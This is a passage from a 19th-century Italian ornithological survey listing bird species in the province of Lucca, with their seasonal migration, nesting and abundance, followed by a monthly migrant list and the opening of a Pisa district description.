nidificante ai monti (F.); passa anco in settembre (G.). Turdus viscivorus, Stordeola. Sedentaria, ma non abbondante, nidifica ai monti (M. F. G.). Aëdon Luscinia, Rosignolo. Abbondante ai due passi, aprile-maggio e settembre, non molti rimangono l'estate (M. F. G.). Erithacus Rubecula, Pettiere. Sedentario, nidificante ai monti, e di copioso passo in ottobre ed aprile (M. F. G.). Cyanecula Wolfi, Pettazzurro. Frequenti di passo nella seconda metà di marzo ed in aprile, ripassa in settembre (M. G.). Cyanecula suecica. Vidi anche questa forma, alle epoche medesime della precedente (M.). Ruticilla Phœnicurus, Currosso. Comune di doppio passo (M. F.); forse nidificante ai monti (F.); giunge in marzo (G.). Ruticilla titys, Currosso. Avuto in autunno (M.); sedentario (G.). Pratincola Rubicola, Saltampalo. Comune e sedentario (M. F.); uno dei primi uccelli a covare (F. G.). Pratincola Rubetra, Stiaccino. Specialmente di passo in aprile e settembre (M. G.). Sylvia orpheæ, Bigione. Estiva e assai comune, giunge in aprile, cova anche nel giugno (M. G.). Sylvia cinerea, Sterpazzola. Comunissima tra aprile ed ottobre, nidifica specialmente sui monti (M. F. G.). Sylvia Curruca. Searsa, di doppio passo, non nidificante (M.); fors'anche nidificante (G.). Sylvia subalpina, Sterpazzolina. Osservata di solo passo in settembre (M.); sedentaria e comune (G.). Monachus Atricapillus, Capinera. Comunissima e sedentaria, abbonda più in collina (M. F. G.). Monachus hortensis, Beccafico. Abbondante di passo alla fine d'agosto ed in settembre, mai veduto in primavera (M. F. G.). Pyrophthalma melanocephala, Ceciora. Comune e nidificante, ma scarso dopo il settembre (M. G.). Melizophilus undatus, Sterpazzola. Assai frequente nella buona stagione (M. F.); sedentaria (G.). Phylloscopus sibilator, Chiuvino verde. Specialmente abbondante in agosto e settembre (M. F.); giunge in aprile e sarebbe nidificante ai monti (G.). Phylloscopus Trochilus, Chiuvino giallo. Comune in ogni stagione¹ in cert’anni (M. F.); giunge in aprile e nidifica (G.). Phylloscopus rufus, Chiuvino. Comune e sedentario ai monti (G.). Phylloscopus Bonellii, Chiuvino bianco. Scarso in agosto e settembre (M. F.). Hypolais icterina, Canepino maggiore, Beccafico selvatico o cannajolo. Comune dall’aprile alla fine di settembre (M. F. G.). Hypolais polyglotta, Canepino, Beccafico selvatico o cannajolo. Più abbondante della precedente dall’aprile a tutto settembre (M. F. G.). Acrocephalus streperus, Cannajolino. Giunge in aprile, comune nell’estate e principio d’autunno, quando frequenta le saggine (M. F. G.). Acrocephalus arundinaceus, Cannajola. Comune dai primi di aprile ai primi di ottobre, durante i passi accade trovarlo anche lungi dai luoghi palustri (M. F. G.). Calamodus schœnobaenus, Calcapaglione. Comune dall’aprile a tutto settembre (M. F. G.). Calamodus aquaticus, Calcapaglione. Estivo e comune (M. F. G.). Lusciniola melanopogon, Calcapaglione. Comune e sedentario al piano in quello di Massarosa (G.). Potamodus luscinioïdes, Rosignolo di padule. Comune e sedentaria al piano in quello di Massarosa (G.). Locustella naevia, Osservato talora nel padule di Monsummano e in quello di Massaciuccoli, ove ne uccisi uno; ¹ Non dubito sia qui confuso anche il P. rufus. un altro lo trovai in settembre sul mercato di Lucca (M.). Cettia Cettii, Rosignolo di padule. Comune nel padule di Massaciuccoli (G. F.), ove nidifica; vi giunge in marzo (G.). Cisticola cursitans, Martellino. Non raro anche d'inverno negli stipeti in collina (M.); sedentario (G.). Troglodytes parvulus, Recacco. Sedentario e comune, nidifica ai monti e scende al piano l'inverno (M. F. G.). Cinclus aquaticus, Merlacquaccio. Comune e sedentario, nidifica ai monti e col freddo scende al piano (M.); non comune in quello di Massarosa (G.). Accentor collaris, Mattacchiano. Coi massimi freddi si vede lungo il Serchio (M.); di passo in novembre (G.). Accentor modularis, Stipajola. Specialmente invernale e di doppio passo, ne ebbi in settembre (M.); sedentaria (G.). Regulus cristatus, Fiorino. Sedentario, comune specialmente d'inverno nelle pinete (M. G.). Regulus ignicapillus, Fiorino. Sedentario, comune d'inverno nelle pinete (M. G.). Ægithalus pendulinus, Fiaschetta, Fiaschettone. Scarso, ma sembra sedentario giacché ne ebbi uno in febbraio (M.); giungono numerosi al piano in marzo, nidificano e scompaiono prima della fine dell'estate (F.); sedentario (G.). Acredula rosea, Codazzola. Scarsa e sedentaria sui monti, ne ebbi parecchi (M. G.). Acredula Irbyi, Codazzola. Comune ovunque e sedentario (M. G.); abbonda specialmente in ottobre e aprile (F.). Panurus biarmicus. Vidi in Lucca diversi esemplari presi nei paduli vicini (M.). Parus major, Cincina. Abbondante e sedentaria (M. F. G.). Parus ater, Cincina. Piuttosto scarsa (M.). Cyanistes caeruleus, Cincinina. Abbondante e sedentaria, più scarsa d'inverno (M. F. G.). Poecile palustris, Cincina. Sedentaria, piuttosto scarsa (F.). Sitta cæsia, Picchio muratore. Sedentario, ma non abbondante (M.); raro assai (G.). Certhia brachydactyla, Montarino. Comune e sedentario (M. F.); nidifica assai presto (F. G.). Tichodroma muraria, Picchio murajolo. Sedentario, ma scarso; nidifica sugli alti monti (M.); ne ebbi uno nel gennaio 1886; vedeut anche in ottobre al passo (G.). Oriolus Galbula, Grobulo. Arriva alla seconda metà d'aprile ed ai primi di maggio, poche coppie rimangono a nidificare; parte o ripassa nella prima metà di settembre (M. F. G.). Lanius Excubitor, Averla grossa. Scarsa in autunno (M.); piuttosto comune (G.). Lanius minor, Averla cenerina. Numerosa al piano verso il litorale dalla metà di aprile alla metà di settembre (M. F. G.). Lanius Collurio, Averla piccola. Abbondante dall'aprile alla metà di ottobre (M. F. G.). Lanius auriculatus, Capirosso, Averla capirossa. Piuttosto scarsa dalla metà di aprile alla metà di settembre, pochi nidificanti (M. F. G.). Muscicapa collaris, Balia, Aliuzza. La ebbi una sola volta in aprile (M.); di scarso passaggio in aprile (G.). Muscicapa Atricapilla, Balia, Aliuzza. Assai comune in aprile e settembre, ma in autunno non vidi che giovani (M.); scarsa ai primi di maggio (F. G.). Butalis Grisola, Siccio. Estivo e comunissimo, giunge in aprile parte alla metà di settembre (M. G.). Hirundo rustica, Rondine. Comune, estiva; giunge verso il 20 marzo ed è raro vederne ancora ai primi d'ottobre (M. F.); se ne vedono già in febbraio (G.). Chelidon urbica, Balestruccio. Comune, estivo; giunge ai primi di marzo in scarso numero, la massa nella seconda metà di quel mese; con altre Rondini si trattiene sui paduli qualche giorno; parte entro la prima metà di ottobre, eccezionalmente se ne son vedi a novembre inoltrato (M. F.); se ne vedono già in febbraio (G.). Clivicola riparia, Balestruccio. Giunge abbondante alla metà di marzo, parte o ripassa nella prima quindicina di ottobre, non lo trovai nidificante (M.); vedonsene già in febbraio (G.). Cotile rupestris, Rondine. Non comune d'inverno al piano in quello di Massarosa; vedesi di passo in ottobre (G.). Cypselus Apus, Rondone. Comune, estivo; i primi vedonsi al principio di aprile, dalla città di Lucca scompaiono ai primi d'agosto, ma sui monti elevati si trovano ancora ai primi di settembre (M. G.). Cypselus Melba, Rondone bianco. Ne vidi due isolati durante un temporale in settembre ed un fortissimo branco sul Monte Penna (Monte Pisano) alla metà di ottobre (M.); passa abbondante in aprile (G.). Caprimulgus europaeus, Calca bodda. Comune dalla metà di aprile alla metà di ottobre (M. F. G.). Picus major, Picchio rosso. Scarso, ma sedentario (M.); comune (F.). Picus minor, Picchio rosso piccolo. Scarso assai, ma sedentario (M. G.). Gecinus viridis, Picchio gallinaccio. Piuttosto scarso, ma sedentario (M. F.); abbastanza comune (G.). Iynx Torquilla, Capitorsolo. Comunissimo, alcuni rimangono assai tardi (M. F.); sedentario (G.). Cuculus canorus, Cuccù. Estivo, giunge ai primi d'aprile, parte o ripassa verso la metà di settembre; non molti si fermano l'estate, nel maggio frequentano le pinete in cerca di bruchi (M. F.); giunge già in marzo (G.). Coccystes glandarius. Ne ebbi uno nell'aprile 1887, ed un secondo ai primi di maggio 1888; fui assicurato che altri tre erano stati visti presso il mare (G.). Alcedo Ispida, Uccel Santa Maria, Uccel bel verde. Comune e sedentario (M. F. G.). Coracias Garrula, Chiandaja marina. Di passo irregolare in primavera ed autunno, ne ebbi un giovane nel settembre in Valle di Freddana (M.); giunge di passo nel maggio (G.). Merops Apiaster, Tordo marino. Passa regolarmente in primavora (maggio), ma per lo più vien soltanto udito o visto per aria, giacché di rado si abbassa durante il suo viaggio diurno; spesso si odono senza poterli scorgere tanto sono alti (M. F'); molti nidificano nella tenuta del Duca Salviati a Migliarino (G.). **Upupa Epopa**, *Galletto marzolo*. Giunge ai primi d'aprile, parte in settembre, pochi rimangono a nidificare (M. F'); vedesi già in marzo (G.). **Strix flammea**, *Barbagianni*. Comune e sedentario (M.); di passo in marzo (F'). **Syrnium Aluco**, *Gufo selvatico*. Sedentario, ma scarso ai monti (M. G.). **Asio Otus**, *Allocco*. Veduto soltanto in ottobre (M.); comune (F'); sedentario (G.). **Asio accipitrinus**, *Allocco*. Di passo in primavera (M.); sedentario (G.). **Athene Noctua**, *Civetta*, *Cuccumeggia*. Comune e sedentaria (M. F. G.). **Scops Gu**, *Chiucco*, *Chiurlo-in-Chiò* (Valli di Sopa). Estivo e frequente (M. F'); giunge in marzo (G.). **Bubo maximus**, *Gufo reale*. Abbastanza frequente; è sedentario e comune nei monti della vicina Garfagnana, ove sono dirupi inaccessibili di roccia calcarea con abbondanti cavità in cui nidifica (M.); veduto una sola volta (G.). **Circus aeruginosus**, *Pogliana*. Comune e sedentario al piano (M. F. G.). **Circus cyaneus**, *Albanella reale*. Non rara (M.); di passo in febbraio (G.). **Circus Swainsoni**, *Albanella*. Scarsa, forse è più facile trovarne ai monti che al piano (M.); non rara di passo in febbraio (G.). **Pandion Haliaëtus**, *Aquilotto*. Divenuto scarso dopo il prosciugamento del lago di Bientina, l'ebbi in aprile da Massaciuccoli (M.); di passo in agosto (G.). **Circaëtus gallicus**, *Marzolo*. Non raro e forse sedentario, lo ebbi in maggio ed in settembre, lo vidi anche d'inverno; predilige le pinete (M.); di passo regolare nel marzo (G.). Haliaëtus Albicilla, Aquila di mare. Di comparsa accidentale (M.); veduta nel gennaio 1884 (G.). Aquila Chrysaëtus. Ne vidi una sola presa sull’Appennino e conservata a Coreglia (M.). Aquila clanga. Rara (M.). Archibuteo lagopus. Accidentale (M.). Buteo vulgaris, Pojana. Comune e sedentaria (M. F.); di passo in settembre (G.). Pernis apivorus, Pojana. Frequenti di doppio passaggio (M.); passa in settembre (G.). Milvus Ictinus. Raro (M.); sedentario (F.). Falco Peregrinus. Accidentale, ne vidi uno a Massaciuccoli nel novembre 1886 (G.). Hypotriorchis Subbuteo, Falchetto. Si prende specialmente in settembre ed ottobre (M. F. G.). Æsalon regulus. Di passo in autunno e primavera (M.). Cerchneis Tinnunculus, Falchetto. Assai comune e sedentario (M. F.); anche di passo in settembre (G.). Cerchneis Naumanni. Ebbi una sola femmina, uccisa il 21 agosto 1886 sul Monte Valimona presso Lucca (M.); passa anche in settembre e non è raro (G.). Cerchneis vespertinus, Falco cuculo. Molti passano in aprile e maggio in Val di Serchio; alcuni anni or sono ne ebbi un maschio adulto ai primi di novembre (M.); non regolare nelle sue comparse, nella primavera del 1878 innondarono il padule di Massaciuccoli poi non ne vidi più sino al maggio 1888, quando una coppia soltanto venne osservata (G.). Astur palumbarius, Astore. Non raro (F.). Accipiter Nisus, Sparviere. Comune alle due epoche del passo, ma anche sedentario (M.); di passo in settembre (G.). Pelecanus Onocrotalus, Pellicano. Raro, ne ebbi uno giovane nell’agosto 1883; in più anni ne ho veduti tre volte sul lago di Massaciuccoli, sempre in branchi, e una volta, nel maggio, un individuo isolato (G.). Phalacrocorax Carbo, *Mergollo*. Comune sul lago di Massaciuccoli; anche di passo nel settembre (G.). Ardea cinerea, *Bertola*. Scarso in quel di Massarosa, vedesi anche in luglio di passo (G.). Ardea purpurea, *Fiaseuccio*. Avuto dai paduli (M.); comune in primavera (F.); giunge di passo in marzo (G.). Egretta alba, *Garza*. Rara a Massaciuccoli, ne uccisi tre giovani nell’agosto 1882 (G.). Egretta Garzetta, *Bertolotto*. Avuta due volte da Massaciuccoli (M.); vi passa regolarmente in aprile; nel 1887 tre coppie vi rimasero sino alla metà di luglio, onde vi è forse nidificante (G.). Ardeola ralloides, *Spennacchino*. Avuta da Massaciuccoli (M.); ove passa in copia in aprile; forse vi nidifica giacché nel 1887 una coppia vi rimase certo sino alla metà di luglio (G.). Ardetta minuta, *Trabucchella*. Estivo e comune (M. F.); giunge in aprile (G.). Botaurus stellaris, *Trabucco*. Comune da primavera ad autunno (M. F.); sedentario (G.). Nycticorax griseus, *Arione*. Comune da primavera ad autunno (M. F.); giunge in aprile (G.). Platalea Leucorodia, *Spatola*. Rara, ne ebbi una nell’aprile 1882, da un branco di quattro che si fermò nel padule di Massaciuccoli (G.). Plegadis Falcinellus, *Ciurletto nero*. Ne vidi 8, presi insieme a Massaciuccoli (M.); vi passa in aprile regolarmente (G.). Ciconia alba. Rara assai (G.). Ciconia nigra. Accidentale (G.). Phoenicopterus roseus. Accidentale, ne ebbi un giovane a Massaciuccoli nell’agosto 1880 (G.). Cygnus Olor. Ne vidi due volte sul lago di Massaciuccoli, d’inverno, prima del 1880 (G.). Cygnus musicus. Accidentale d’inverno a Massaciuccoli (G.). Cygnus Bewicki. Due individui furono uccisi sul lago di Massaciuccoli nel gennaio 1874 (G.). Anser cinereus, *Oca*. Non rara di passo in novembre (G.). Anser segetum, Oca. Comune di passo in novembre (G.); specialmente nel marzo sul Serchio (F.). Tadorna cornuta, Volpoca. Rara, ne vidi tre sul lago di Massaciuccoli (G.). Anas Boscas, Germano. Abbondante di passo da ottobre a marzo, ma anche sedentario (M. F. G.); durante la incubazione il maschio assume l'abito femminile (G.). Chaulelasmus streperus, Canapiglia. Invernale e scarsa (M.); era una volta assai più frequente, veduta di passo in luglio (G.). Spatula clypeata, Mestolone. Assai frequente nell'inverno (M. F.); veduta di passo in luglio (G.). Dafila acuta, Codone. Frequente nell'inverno (M.); durante l'epoca dell'incubazione il maschio assume l'abito femminile; l'ho veduto di passo in luglio (G.). Mareca Penelope, Fratino. Assai abbondante d'inverno (M.); anche sedentario; durante l'epoca dell'incubazione il maschio assume in parte l'abito della femmina (G.). Nettion Crecca, Arzavola. Comunissima nell'inverno (M.); sedentaria anche; durante la incubazione il maschio assume l'abito femminile (G.). Querquedula Circia, Rochetto. Abbonda soltanto alla fine di febbraio ed ai primi di marzo (M. F.); durante la incubazione il maschio prende un abito somigliante alla femmina; veduta anche in luglio (G.). Fuligula rufina, Fischione turco. Raro, ma si vede quasi ogni anno a Massaciuccoli, vi uccisi una femmina nell'agosto 1886 (G.). Fulix ferina, Moriglione. Comune nell'inverno (M.); se ne vedono alcuni tutto l'anno (G.). Fulix Marila, Morettone. Raro a Massaciuccoli d'inverno, novembre (G.). Fulix Fuligula, Moretta, Morettone. Comune d'inverno (M. F.); se ne vedono tutto l'anno e nidificano certamente a Massaciuccoli (G.). Fulix Nyroca, Rossina. Comune d'inverno (M.); se ne vedono tutto l'anno, la credo nidificante (G.). Bucephala Clangula, Cignuccio. Scarso a Massaciuccoli d'inverno (M.); passa in novembre (G.). Cedemia fusca, Anatra di mare. Scarso d'inverno, ma ogni anno se ne vedono in novembre a Massaciuccoli (G.). Erismatura leucocephala. Raro, ne uccisi due a Massaciuccoli nell'inverno 1888 (G.). Mergus Merganser, Seghettone. Accidentale a Massaciuccoli d'inverno (G.). Mergus Serrator, Seghettone. Assai frequente nell'inverno (M.); passa in novembre (G.). Mergellus Albellus, Pescina. Frequenti i giovani e le femmine d'inverno, rari i maschi adulti (M.); divenuta rara (G.). Columba Palumbus, Favaccio. Comune durante il passo tra fine settembre e novembre; fors'anche nidificante (M. G.); frequente pure al ripasso (F.). Columba Oenas, Colombella. Più comune durante il passo verso il litorale (M.); e anche al ripasso (F.); passa in ottobre (G.). Turtur tenera, Tortora. Passa alla fine d'aprile, in maggio ed in settembre; pochi rimangono a nidificare (M. F. G.). Perdix rufa, Pernice, Coturnice. Quasi scomparsa dalla provincia, ove in certe località ai monti era comune e sedentaria (M.); nel marzo 1883, presso Monte San Quirico ne incontrai una brigata che doveva essere di passo (F.). Starna Perdix, Starna. Poco comune e sedentaria (M. F. G.). Coturnix communis, Quaglia. Giunge agli ultimi d'aprile e ai primi di maggio; al ripasso predilige le risaie (M.); è abbondante (F. G.). Rallus aquaticus, Gallinella. Comune d'inverno, ebbi però un maschio giovane alla metà d'agosto (M.); sedentaria (G.). Ortygometra Porzana, Pappardella. Comune in marzo ed aprile ed in settembre ed ottobre (M. F.); vedesì già in febbraio (G.). Ortygometra Bailloni, Pappardellino. Comune in marzo ed aprile ed in settembre ed ottobre (M. F. G.). Ortygometra parva, Puttanella, Gambino. Comune in marzo ed aprile ed in settembre ed ottobre (M. F. G.). Crex pratensis, Requaglio. Assai comune in primavera ed autunno; qualcuno vedesi anche d’inverno (M. F.); era assai più frequente in passato, veduto anche in agosto (G.). Gallinula chloropus, Scepita. Non molto abbondante (M. F.); sedentaria (G.). Hydrornia Alleni. Accidentale, ne sono stati presi tre o quattro a Massaciuccoli in tempo addietro (G.). Porphyrio caeruleus. Accidentale (G. F.). Fulica atra, Folaga. Comune assai, in parte sedentaria, in parte migratoria (M. F. G.). Grus communis, Gruga. Comune di passo, ma assai di rado si ferma (M. G.). Otis Tarda. Accidentale (G.). Otis Tetrax. So di quattro individui presi (M.); di scarso passo nel maggio (G.). Ædionemus scolopax, Occhione. Comune, specialmente tra i colli ed il mare (M.); di passo in marzo, ma è divenuto scarso (G.). Cursorius gallicus. Vidi un solo esemplare, preso presso Viareggio (M.). Charadrius Pluvialis, Piviere. Comune dall’autunno alla primavera inoltrata (M. F.); vedesi anche in gennaio (G.). Squatarola helvetica, Piviere di scoglio. Non rara (M.); passa in maggio (G.). Eudromias Morinellus. Una volta si vedeva, ora pare essere affatto scomparso (G.). Ægialitis cantiana, Pretino, Prillo. Comune (G. F.); passa in maggio (G.). Ægialitis curonica, Pretino, Prillo. Comune in marzo ed ottobre sulle ghiaie del Serchio (M. F.); passa specialmente in maggio (G.). Ægialitis Hiaticula, Pretino, Prillo. Comune nell’aprile e maggio (M. F. G.). Vanellus Capella, Fija. Giunge in copia nel novembre per svernare, ma un anno ne trovai sul Serchio nella seconda metà di settembre (M.): passa già in ottobre (F. G.). **Strepsilas Interpres**, *Voltapietre*. Specie rara, ma quasi ogni anno, nel maggio, se ne prendono alle reti nel padule di Massaciuccoli, ove molti uccelli aquatici e di ripa si prendono a quel modo; una sola volta l'ebbi presa in settembre (G.). **Haematopus Ostralegus**, *Beccaccia di mare*. Scarso in aprile e maggio sul litorale (M.); dicesi abbia nidificato alla foce del Serchio (G.). **Recurvirostra Avocetta**, *Becca'lesina*. Scarsa in aprile e maggio (M. G.). **Himantopus candidus**, *Taliano*. Di passo in aprile e maggio (M.); ha nidificato per molti anni a Massaciuccoli (G.). **Limicola platyrhyncha**, *Frullino*. Ne ebbi cinque presi a Massaciuccoli (M.); veduti in maggio, agosto e settembre (G.). **Pelidna subarquata**, *Piovanello*, *Prillo*. Molto abbondante in maggio (M. F.); vedesi di passo anche in agosto (G.). **Pelidna alpina**, *Piovanello*, *Prillo*. Scarso in primavera (G.). **Actodromas minuta**, *Piovanelino*. Comune in maggio (M. F.); veduto di passo anche in luglio (G.). **Actodromas Temmincki**, *Piovanelino*. Scarso nel maggio; veduto di passo anche in luglio (G.). **Tringa Canutus**, *Piovanello*. Ne ebbi uno nel maggio 1881 (G.). **Calidris Arenaria**, *Piovanello*. Non comune in maggio a Massaciuccoli (G.). **Machetes Pugnax**, *Gambetta muta*. Comune da marzo a maggio, scarsa in autunno (M. F.); di passo anche in agosto ed in febbraio (G.). **Tringoides Hypoleucus**, *Piro-piro*, *Prillo*. Comune da marzo ad ottobre e nidificante (M. F.); sedentario (G.). **Totanus Ochropus**, *Piro-piro*, *Prillo*. Comune di passo e anche sedentario (M. F.); vedesi anco nel luglio (G.). **Totanus Glareola**, *Piro-piro*, *Prillo*. Comune di doppio passo: l'ho veduto di passo in aprile ed in giugno, non è improbabile che sia nidificante avendone veduto anche in luglio (G.). Totanus stagnatilis, Piro-piro, Prillo. Non comune di passo in marzo; ne uccisi anche nella prima metà di agosto 1887 (G.). Totanus Calidris, Chio-chio. Comune di doppio passo (M.); forse nidificante a Massaciuccoli ove giunge in aprile (G.). Totanus fuscus, Fischioncello. Comune di passo in aprile (G.). Totanus nebularius, Fischione. Comune in aprile; di passo ancora in luglio ed agosto (G.). Terekia cinerea. Ne ebbi una nel maggio 1883 (G.). Limosa melanura, Pittima. Comune, specialmente in marzo (M. F.); di passo anche in agosto (G.). Limosa rufa. Ho avuto una in abito nuziale il 16 maggio 1888, era femmina; un'altra l'ebbi nel settembre 1887 (G.). Scolopax Rusticula, Beccaccia. Giunge per lo più dopo il 20 ottobre, ma se ne vedono spesso alla fine di settembre; poche svernano ed il passo primaverile è sempre meno copioso; dopo aprile è affatto casuale vederne, dicesi di casi di nidificazione di questa specie nella provincia (M. F. G.). Gallinago major, Pasqualino. Comune al passo in marzo ed aprile (M.); ed anche maggio (F.); ne uccisi uno il 24 novembre 1874 a Massaciuccoli (G.). Gallinago caelestis, Beccaccino, Seneppia. Giunge la massa ai primi di novembre, ma sin dall'agosto se ne vedono (M. F.); veduto anche in luglio (G.). Gallinago Gallinula, Seneppio, Seneppino, Vuota borse. Di doppio passo e comune (M. F.); di passo anche in settembre (G.). Numenius Arquata, Ciurlotto. Comune da novembre ad aprile (M.); di passo anche in settembre (G.). Numenius tenuirostris, Ciurlo a picche. Non comune in aprile e maggio (M. G.). Numenius Phæopus, Ciurlottino. Comune in aprile e maggio (M.); di passo anche in settembre (G.). Glareola Pratincola, Incarcabodda. Si prende in buon numero alle reti nel maggio a Massaciuccoli (M. G.). Sylochelidon caspia, Forbiciione maggiore. Raro, ne vidi due nel maggio 1885 a Massaciuccoli (G.). Thalasseus cantiacus. L'ebbi più volte dai paduli del litorale in aprile e maggio (M.). Gelochelidon anglica, Paolinaccione. Non comune in maggio a Massaciuccoli; ma nel 1888 se ne videro moltissimi e anche il 28 giugno ne vidi un branco (G.). Sterna fluviatilis, Forbicione. Comune in aprile, maggio e settembre (M. F. G.); veduta anche il 26 agosto 1887 (G.). Sternula minuta, Monachino. Comune di passo in aprile-maggio ed in settembre, non nidifica (M. F.); vedesi anche in agosto (G.). Hydrochelidon hybrida, Beccapesce. Abbastanza comune, si prende vivo colle reti in maggio, mai in autunno (M. F.); non di regolare comparsa a Massaciuccoli, ove l'ho veduto il 9 luglio 1887 e per la prima volta in autunno il 23 settembre 1887 (G.). Hydrochelidon leucoptera, Paolinaccio toppato, Paolinaccio moro. Comune di passo, ma soltanto nel maggio, quando colle congeneri si piglia alle reti (M. F. G.). Hydrochelidon nigra, Paolinaccio. Comunissimo dalla fine di aprile al settembre (M. F. G.). Chroocephalus minutus, Gabbianello, Piccioncino. Abbastanza frequente in primavera (M.); di passo in settembre, e nel palude di Massaciuccoli ne vidi in luglio e anche in dicembre (G.). Chroocephalus melanocephalus, Ghella. Comune, veduto anche in luglio (G.). Chroocephalus ridibundus, Ghella. Comunissimo sul litorale e sulle paludi (M.); vedesi anche in luglio (G.). Larus canus, Ghella. Non rara sul litorale (M.); si vede in novembre (G.). Larus fuscus, Martinaccio. Sedentario, comune (G.). Larus cachinnans, Martinaccio, Mugmajaccio. Poco comune, ma sedentario sul litorale (M.); comune (G.). Puffinus Kuhli, Pallante, Berta. Comune, di passo in maggio (G.); mi fu detto che si vedono anche lungo il Serchio (F.). Utamania Torda. Non comune d'inverno (G.). Fratercula arctica. Rara al litorale d'inverno (G.). Colymbus glacialis, Marangone. Non comune d'inverno; ne ebbi una il 20 dicembre 1886 che pesava 5 chilogrammi (G.). Colymbus arcticus, Strolaga. Comune d'inverno dal 1° novembre (G.). Colymbus septentrionalis, Strolaga. Non comune d'inverno e non di regolare comparsa (G.). Podiceps cristatus, Ciuffina. Invernale, scarso (M. F.); passa anche in settembre (G.). Podiceps griseigena, Strolaghina. Non comune, ma se ne videro diversi nel 1887; il 16 maggio 1888 furono uccise a Massaciuccoli due femmine in perfetto abito nuziale; passa anche in settembre (G.). Podiceps carnutus, Occhialone. Non comune d'inverno, ma quasi ogni anno capita a cominciare dall'ottobre (G.). Podiceps nigricollis, Occhialone. Non comune, ma più assai della precedente, vedesi di passo anche in agosto (G.). Podiceps fluviatilis, Tuffetto. Comune e sedentario (M. F. G.). Elenco delle specie di uccelli osservate di passaggio regolare nella provincia di Lucca, distretti di Massarosa (Massaciuccoli), e Viareggio. LUGLIO Spatula clypeata. Dafila acuta. Ardea cinerea. Querquedula Circia. Chaulelasmus streperus. Actodromas minuta. ¹ Questo elenco è compilato dal signor Raimondo Gragnani. Actodromas Temmincki. Gallinago caelestis. Chroocephalus melanocephalus. Chroocephalus ridibundus. AGOSTO Monachus hortensis. Pelidna subarquata. Limicola platyrhyncha. Machetes Pugnax. Totanus nebularius. Limosa melanura. Sternula minuta. Hydrochelidon nigra. Podiceps nigricollis. SETTEMBRE Corvus frugilegus. Petronia stulta. Chrysomitris Spinus. Cannabina Linota. Emberiza pyrrhuloides. Emberiza pusilla. Accidentale. Monticola Cyanus. Turdus musicus. Cyanecula Wolfi. Pernis apivorus. Buteo vulgaris. Hypotriorchis Subbuteo. Cerchneis Tinnunculus. Cerchneis Naumanni. Accipiter Nisus. Phalacrocorax Carbo. Gallinago Gallinula. Numenius Arquata. Numenius Phæopus. Chroocephalus minutus. OTTOBRE Fringilla Montifringilla. Coccothraustes vulgaris. Emberiza Citrinella. Emberiza Cia. Emberiza Schoeniclus. Alauda arvensis. Anthus pratensis. Anthus Spipoletta. Turdus iliacus. Cotile rupestris. Columba Palumbus. Columba Oenas. Vanellus Capella. Scolopax Rusticula. Podiceps cornutus. NOVEMBRE Pyrrhula europæa. Accentor collaris. Anser cinereus. Anser segetum. Fulix Marila. Bucephala Clangula. Œdémia fusca. Mergus Serrator. Mergellus Albellus. Gallinago major. Larus canus. Colymbus arcticus. DICEMBRE Nessuna. GENNAIO Charadrius Pluvialis. Vanellus Capella. FEBBRAIO Hirundo rustica. Chelidon urbica. Clivicola riparia. Circus cyaneus. Circus Swainsoni. Ortygometra Porzana. Machetes Pugnax. MARZO Ruticilla Phoenicurus. Cettia Cettii. Cuculus canorus. Upupa Epop. Scops Giu. Circaetus gallicus. Ardea purpurea. Ortygometra Bailloni. Ortygometra parva. Edicnemus scolopax. Totanus stagnatilis. Limosa melanura. APRILE Calandrella brachydactyla. Anthus trivialis. Budytes flavus. Saxicola Oenanthe. Aëdon Luscinia. Cyanecula Wolfi. Pratincola Rubetra. Sylvia orphaea. Sylvia cinerea. Phylloscopus sibilator. Phylloscopus Trochilus. Hypolais icterina. Hypolais polyglotta. Acrocephalus streperus. Acrocephalus arundinaceus. Calamodus schœnobœnus. Calamodus aquaticus. Lanius minor. Lanius Collurio. Lanius auriculatus. Muscicapa collaris. Muscicapa Atricapilla. Butalis Grisola. Cypselus Apus. Cypselus Melba. Egretta Garzetta. Ardeola ralloïdes. Ardetta minuta. Nycticorax griseus. Plegadis Falcinellus. Turtur tenera. Hæmatopus Ostralegus. Recurvirostra Avocetta. Totanus Calidris. Totanus fuscus. Totanus nebularius. Sterna fluviatilis. Hydrochelidon nigra. MAGGIO Emberiza Hortulana. Oriolus Galbula. Caprimulgus europæus. Coracias Garrula. Merops Apiaster. Coturnix communis. Actodromas minuta. Otis Tetrax. Actodromas Temmincki. Squatarola helvetica. Glareola Pratincola. Ægialitis cantiana. Sternula minuta. Ægialitis curonica. Hydrochelidon hybrida. Ægialitis Hiaticula. Hydrochelidon leucoptera. Strepsilas Interpres. Puffinus Kuhli. GIUGNO Limicola platyrhyncha. Totanus Glareola. Pelidna subarquata. Pisa (Ott Enrico, Fauglia e circondario; Papasogli Giovanni, Lavajano, Lari; Venerosi-Pesciolini conte Giuseppe, Ghizzano in Val d’Era; Degli Alessandri conte Cosimo, Cedri in Val d’Era): Il distretto è nella provincia di Pisa ed include: il comune di Fauglia (per intero); il comune di Collesalvetti (in parte); il comune di Lari (in parte); e quelli di Cascina e di Lorenzana (in parte). La natura del suolo è tufoso, arenario, argilloso e galestrino. I torrenti e fossi principali sono: Rio del Tramoscio, fiume Isola, fiume Orcina, fiume Zannone ed il fosso emissario del padule di Bientina, detto Fosso della Botte. Il distretto è piccolo, ma essendo il mio consueto luogo di caccia da ben 15 anni, è da me ben conosciuto; abitando di consueto nella mia tenuta di Tripalle, che forma quasi il centro del territorio di osservazione. Il piano è limitato dall’emissario del padule di Bientina da una parte; dall’altra dal fiume Zannone (parte di Levante) e dal fiume Isola (parte di Ponente). Dal lato di Mezzogiorno sono le colline di Fauglia, Tripalle, Crespina e Lari. Il poggio si estende per tutte le sopra dette colline fino alle Biancane di Lari e di Loreuzana, dalla parte di Mezzogiorno. Il piano è coltivato in parte a viti, e in parte lavorativo spogliato, in parte a prato (specialmente al di là dello Zannone). Nella coltivazione a prato trovansi frequentemente dei bassi ove dall’ottobre al maggio rimane l’acquatrino. Il piano, dal fosso Zannone alle falde delle colline, è frastagliato da collinette, o meglio ondulazioni di terreno, molte coperte di scopicci, altre lavorate e vitiate, altre ricoperte di pinete e da macchie di Cerro, Farnie, Quercia e Stipe (tenuta Cenosa, prop. contessa Valery). Macchie che contengono piccoli vallini paludosi, e un proprio e vero padulino che fino a 10 anni or sono ha servito di risaia. La collina in parte è lavorata e piantata a vigna ed ulivi, in parte a macchia di Cerro, di Quercia, Stipa e poco Leccio. Macchie (si dica lo stesso per quelle di piano) quasi tutte tagliate al piede dell’età di anni 10, e in basso (sterzo sterzatura) ogni 5 anni. Prima vi si trovavano molti Pini insieme ai Cerri ora quasi tutti tagliati o lasciati solo nei luoghi detti Pinete. Le colline 